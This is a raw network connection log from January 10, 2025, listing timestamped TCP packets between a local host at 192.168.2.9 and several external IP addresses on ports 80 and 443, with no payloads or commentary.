Jan 10, 2025 19:56:18.237602949 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:18.240601063 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:18.283329964 CET	443	49973	142.250.185.110	192.168.2.9
Jan 10, 2025 19:56:18.646025896 CET	443	49973	142.250.185.110	192.168.2.9
Jan 10, 2025 19:56:18.646204948 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:18.646816969 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:18.646867990 CET	443	49973	142.250.185.110	192.168.2.9
Jan 10, 2025 19:56:18.646935940 CET	49973	443	192.168.2.9	142.250.185.110
Jan 10, 2025 19:56:18.671574116 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:18.671607971 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:18.671680927 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:18.671931028 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:18.671945095 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:19.358052015 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:19.358170986 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:19.370199919 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:19.370228052 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:19.370480061 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:19.370534897 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:19.370876074 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:19.411330938 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.868748903 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.868899107 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.874660015 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.874743938 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.903917074 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.904000044 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.904032946 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.904052973 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.904068947 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.904102087 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.960949898 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.961016893 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.961044073 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.961070061 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.961103916 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.961122036 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.961158991 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.961287975 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.961338043 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.963531971 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.963588953 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.963644981 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.963691950 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.969764948 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.969824076 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.969835997 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.969894886 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.976129055 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.976198912 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.976218939 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.976275921 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.982417107 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.982475042 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.982486963 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.982538939 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.988585949 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.988640070 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.988648891 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.988701105 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.994716883 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.994777918 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:21.994862080 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:21.994909048 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.000639915 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.000709057 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.000716925 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.000756025 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.006330967 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.007136106 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.007143974 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.007188082 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.012083054 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.012137890 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.012145042 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.012190104 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.017843962 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.017920017 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.017942905 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.017986059 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.023529053 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.023581982 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.053337097 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.053417921 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.053431988 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.053464890 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.053478956 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.053488970 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.053509951 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.053550959 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.053555012 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.053594112 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.054193020 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.054238081 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.054244995 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.054275036 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.054294109 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.054300070 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.054317951 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.054344893 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.054348946 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.054406881 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.054855108 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.054903030 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.055893898 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.055988073 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.059535980 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.059592962 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.059609890 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.059674978 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.064466953 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.064517975 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.064526081 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.064574003 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.069444895 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.069519997 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.069528103 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.069575071 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.074930906 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.074985027 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.075032949 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.075088024 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.082072020 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.083323002 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.083355904 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.083378077 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.083389997 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.083404064 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.083437920 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.088728905 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.092727900 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.092782021 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.092824936 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.092837095 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.092886925 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.092886925 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.097116947 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.100106955 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.100119114 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.100174904 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.101510048 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.101574898 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.101582050 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.101629972 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.105725050 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.105791092 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.105798960 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.105863094 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.105869055 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.105920076 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.105926991 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.105977058 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.119956970 CET	49974	443	192.168.2.9	142.250.185.161
Jan 10, 2025 19:56:22.119992971 CET	443	49974	142.250.185.161	192.168.2.9
Jan 10, 2025 19:56:22.645441055 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:22.650893927 CET	80	49975	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:22.651007891 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:22.651230097 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:22.656048059 CET	80	49975	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:23.626229048 CET	80	49975	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:23.630548000 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:23.635545015 CET	80	49975	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:23.843231916 CET	80	49975	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:23.891366959 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:24.350162983 CET	49977	443	192.168.2.9	104.21.96.1
Jan 10, 2025 19:56:24.350204945 CET	443	49977	104.21.96.1	192.168.2.9
Jan 10, 2025 19:56:24.350405931 CET	49977	443	192.168.2.9	104.21.96.1
Jan 10, 2025 19:56:24.383943081 CET	49977	443	192.168.2.9	104.21.96.1
Jan 10, 2025 19:56:24.383968115 CET	443	49977	104.21.96.1	192.168.2.9
Jan 10, 2025 19:56:24.849666119 CET	443	49977	104.21.96.1	192.168.2.9
Jan 10, 2025 19:56:24.849780083 CET	49977	443	192.168.2.9	104.21.96.1
Jan 10, 2025 19:56:24.852977991 CET	49977	443	192.168.2.9	104.21.96.1
Jan 10, 2025 19:56:24.852986097 CET	443	49977	104.21.96.1	192.168.2.9
Jan 10, 2025 19:56:24.853318930 CET	443	49977	104.21.96.1	192.168.2.9
Jan 10, 2025 19:56:24.857080936 CET	49977	443	192.168.2.9	104.21.96.1
Jan 10, 2025 19:56:24.899323940 CET	443	49977	104.21.96.1	192.168.2.9
Jan 10, 2025 19:56:25.008797884 CET	443	49977	104.21.96.1	192.168.2.9
Jan 10, 2025 19:56:25.008888006 CET	443	49977	104.21.96.1	192.168.2.9
Jan 10, 2025 19:56:25.008987904 CET	49977	443	192.168.2.9	104.21.96.1
Jan 10, 2025 19:56:25.014329910 CET	49977	443	192.168.2.9	104.21.96.1
Jan 10, 2025 19:56:30.658612967 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:30.663650990 CET	80	49975	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:30.850446939 CET	80	49975	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:30.862185955 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:30.862243891 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:30.862309933 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:30.862843037 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:30.862859011 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:30.891376972 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:31.669264078 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:31.669349909 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:31.696732998 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:31.696768045 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:31.697082996 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:31.750799894 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:31.764389992 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:31.807384014 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:31.807465076 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:31.807499886 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:32.177815914 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:32.177901030 CET	443	49978	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:32.177994013 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:32.178400040 CET	49978	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:32.331492901 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:32.332792997 CET	49979	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:32.336500883 CET	80	49975	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:32.336565018 CET	49975	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:32.337676048 CET	80	49979	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:32.337749004 CET	49979	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:32.337862015 CET	49979	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:32.342677116 CET	80	49979	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:32.987696886 CET	80	49979	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:32.991425037 CET	49980	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:32.991475105 CET	443	49980	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:32.991544008 CET	49980	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:32.992131948 CET	49980	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:32.992146969 CET	443	49980	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:33.032027006 CET	49979	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:33.617018938 CET	443	49980	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:33.618782997 CET	49980	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:33.618796110 CET	443	49980	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:33.618860960 CET	49980	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:33.618870974 CET	443	49980	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:33.861639977 CET	443	49980	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:33.861718893 CET	443	49980	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:33.861762047 CET	49980	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:33.862169981 CET	49980	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:33.866528034 CET	49981	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:33.871299982 CET	80	49981	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:33.871454954 CET	49981	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:33.871454954 CET	49981	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:33.876312017 CET	80	49981	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:34.519035101 CET	80	49981	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:34.539136887 CET	49982	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:34.539206982 CET	443	49982	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:34.539283037 CET	49982	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:34.539657116 CET	49982	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:34.539675951 CET	443	49982	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:34.563263893 CET	49981	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:35.328644991 CET	443	49982	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:35.330288887 CET	49982	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:35.330301046 CET	443	49982	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:35.330357075 CET	49982	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:35.330367088 CET	443	49982	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:35.693257093 CET	443	49982	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:35.693355083 CET	443	49982	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:35.693542004 CET	49982	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:35.693809032 CET	49982	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:35.697323084 CET	49981	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:35.698364019 CET	49983	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:35.702306032 CET	80	49981	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:35.702446938 CET	49981	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:35.703190088 CET	80	49983	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:35.703332901 CET	49983	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:35.703413010 CET	49983	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:35.708148956 CET	80	49983	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:36.331829071 CET	80	49983	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:36.332884073 CET	49984	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:36.332928896 CET	443	49984	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:36.333003044 CET	49984	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:36.333270073 CET	49984	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:36.333280087 CET	443	49984	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:36.375804901 CET	49983	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:36.962656021 CET	443	49984	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:36.964210033 CET	49984	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:36.964220047 CET	443	49984	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:36.964265108 CET	49984	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:36.964273930 CET	443	49984	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:37.490655899 CET	443	49984	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:37.490865946 CET	443	49984	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:37.490932941 CET	49984	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:37.496067047 CET	49984	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:37.666853905 CET	49983	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:37.672835112 CET	80	49983	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:37.672903061 CET	49983	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:37.681952953 CET	49985	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:37.686707973 CET	80	49985	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:37.686770916 CET	49985	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:37.695169926 CET	49985	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:37.700422049 CET	80	49985	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:38.349946022 CET	80	49985	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:38.351337910 CET	49986	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:38.351398945 CET	443	49986	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:38.351491928 CET	49986	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:38.351782084 CET	49986	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:38.351804972 CET	443	49986	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:38.391563892 CET	49985	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:39.027198076 CET	443	49986	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:39.028825998 CET	49986	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:39.028855085 CET	443	49986	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:39.028912067 CET	49986	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:39.028920889 CET	443	49986	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:39.489701033 CET	443	49986	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:39.489794970 CET	443	49986	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:39.489944935 CET	49986	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:39.490403891 CET	49986	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:39.493539095 CET	49985	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:39.494823933 CET	49987	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:39.498528004 CET	80	49985	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:39.498625994 CET	49985	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:39.499609947 CET	80	49987	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:39.499717951 CET	49987	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:39.500016928 CET	49987	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:39.504777908 CET	80	49987	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:40.242940903 CET	80	49987	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:40.243882895 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:40.243940115 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:40.244000912 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:40.244227886 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:40.244245052 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:40.297661066 CET	49987	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:40.970637083 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:40.972348928 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:40.972367048 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:40.972414017 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:40.972425938 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:41.456171989 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:41.456255913 CET	443	49988	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:41.456367016 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:41.459753036 CET	49988	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:41.490838051 CET	49987	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:41.492073059 CET	49989	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:41.495765924 CET	80	49987	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:41.496840000 CET	80	49989	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:41.496903896 CET	49987	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:41.496938944 CET	49989	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:41.497037888 CET	49989	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:41.501775026 CET	80	49989	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:42.144658089 CET	80	49989	193.122.6.168	192.168.2.9
Jan 10, 2025 19:56:42.147182941 CET	49990	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:42.147229910 CET	443	49990	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:42.147305012 CET	49990	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:42.147562027 CET	49990	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:42.147578001 CET	443	49990	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:42.188312054 CET	49989	80	192.168.2.9	193.122.6.168
Jan 10, 2025 19:56:42.785598040 CET	443	49990	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:42.787297964 CET	49990	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:42.787342072 CET	443	49990	149.154.167.220	192.168.2.9
Jan 10, 2025 19:56:42.787411928 CET	49990	443	192.168.2.9	149.154.167.220
Jan 10, 2025 19:56:42.787420988 CET	443	49990	149.154.167.220	192.168.2.9
